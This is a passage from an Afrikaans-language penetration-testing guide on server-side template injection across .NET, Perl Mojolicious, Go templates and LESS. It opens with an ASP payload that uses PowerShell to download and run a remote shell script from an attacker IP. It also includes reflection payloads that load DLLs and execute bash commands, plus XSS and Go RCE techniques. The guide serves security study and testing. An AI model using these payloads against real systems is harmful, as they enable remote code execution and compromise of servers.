<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Meer inligting

.Net Beperkings omseil

Die .NET Reflection-meganismes kan gebruik word om blacklisting te omseil of wanneer klasse nie in die assembly teenwoordig is nie. DLL's kan tydens runtime gelaai word met metodes en eienskappe wat vanaf basiese objekte toeganklik is.

Dll's kan gelaai word met:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - from filesystem.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - directly from request.

Volledige opdraguitvoering:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

Meer Inligting

Mojolicious (Perl)

Alhoewel dit Perl is, gebruik dit tags soos ERB in Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

In Go se template engine kan die gebruik daarvan met spesifieke payloads bevestig word:

  • {{ . }}: Toon die ingevoerde datastruktuur. Byvoorbeeld, as 'n objek met 'n Password attribuut deurgegee word, kan {{ .Password }} dit blootlê.
  • {{printf "%s" "ssti" }}: Verwags om die string "ssti" te vertoon.
  • {{html "ssti"}}, {{js "ssti"}}: Hierdie payloads behoort "ssti" terug te gee sonder om "html" of "js" daarby te voeg. Verdere directives kan in die Go-dokumentasie here ondersoek word.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

Met die text/template package is XSS eenvoudig deur die payload direk in te voeg. In teenstelling kodifiseer die html/template package die reaksie om dit te voorkom (bv. {{"<script>alert(1)</script>"}} lei tot &lt;script&gt;alert(1)&lt;/script&gt;). Nietemin kan template-definisie en -aanroep in Go hierdie kodering omseil: {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet Kopieer kode

RCE Exploitation

RCE exploitation verskil aansienlik tussen html/template en text/template. Die text/template module laat toe om enige publieke funksie direk aan te roep (deur die “call” value te gebruik), wat in html/template nie toegelaat word nie. Dokumentasie vir hierdie modules is beskikbaar here for html/template and here for text/template.

Vir RCE via SSTI in Go kan objekmetodes aangeroep word. Byvoorbeeld, as die gegewe objek 'n System metode het wat opdragte uitvoer, kan dit uitgebuit word soos {{ .System "ls" }}. Toegang tot die bronkode is gewoonlik nodig om dit te benut, soos in die gegewe voorbeeld:

go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Meer inligting

LESS (CSS Preprocessor)

LESS is 'n populêre CSS pre-processor wat veranderlikes, mixins, funksies en die kragtige @import direktief byvoeg. Tydens kompilasie sal die LESS engine die hulpbronne wat in @import-uitsprake verwys word ophaal en hul inhoud inlyn ("inline") in die resulterende CSS inbou wanneer die (inline) opsie gebruik word.

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

Meer Exploits

Kyk na die res van https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection vir meer exploits. Jy kan ook interessante tag-inligting vind by https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

Verwante hulp

As jy dink dit kan nuttig wees, lees:

Gereedskap

Brute-Force Detection List

Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Oefeninge & Verwysings

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